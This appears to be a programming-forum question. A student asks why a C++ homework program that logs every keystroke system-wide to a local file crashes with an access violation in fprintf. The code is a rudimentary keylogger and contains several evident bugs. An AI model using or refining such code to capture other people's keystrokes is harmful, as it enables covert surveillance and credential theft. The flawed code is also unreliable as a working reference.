title: Access violation reading location fprintf
body: <p>So here is what the teacher asked us to do:</p>
  
  <p>Create a file that store what the user is typing. The trouble im having is that and exception is thrown and no error is given to me.  The first problem is the characters inside the text file are by default in CAPS (without the caps verification). The second The error happens as soon as i press a key (if theres a cap verification).</p>
  
  <pre><code>#include &lt;direct.h&gt;
  #include &lt;fstream&gt;
  #include &lt;stdlib.h&gt;
  
  
  using namespace std;
  
  //function that write to the file
  int Save(int _key, char *file, bool caps);
  int Backspace();
  bool caps = false;
  
  int main() {
      char i;
  
      while (true) {
          for (i = 8; i &lt;= 255; i++) {
              // Checks if a key is currently up or down
              if (GetAsyncKeyState(i) == -32767) {
                  //Get caps lock state
                  if ((GetKeyState(VK_CAPITAL) &amp; 0x0001) != 0) {
                      //Caps lock is on
                      caps = true;
                      Save(i, "C:/users/myComputer/documents/school/c++/input.txt", caps);
                  }
                  else {
                      //Caps lock is off
                      caps = false;
                      Save(i, "C:/users/myComputer/documents/school/c++/input.txt", caps);
                  }
              }
          }
      }
      return 0;
  }
  
  int Save(int _key, char *file, bool caps) {
      Sleep(10);
      FILE *OUTPUT_FILE;
      OUTPUT_FILE = fopen(file, "a+");
  
   switch (_key) {
  
       case VK_RETURN:
           OUTPUT_FILE = fopen(file, "a+");
           fprintf(OUTPUT_FILE, "%s", "\n");
           break;
  
       case VK_LBUTTON || VK_RBUTTON:
           OUTPUT_FILE = fopen(file, "a+");
           fprintf(OUTPUT_FILE, "%s", "");
           break;
  
       default:
           if (caps == true) {
               char i = tolower(putchar(_key));
               OUTPUT_FILE = fopen(file, "a+");
               fprintf(OUTPUT_FILE, "%s", i);
           }
           else {
               char i = toupper(putchar(_key));
               OUTPUT_FILE = fopen(file, "a+");
               fprintf(OUTPUT_FILE, "%s", i);
           }
   }
   fclose(OUTPUT_FILE);
  
   return 0;
  }
  </code></pre>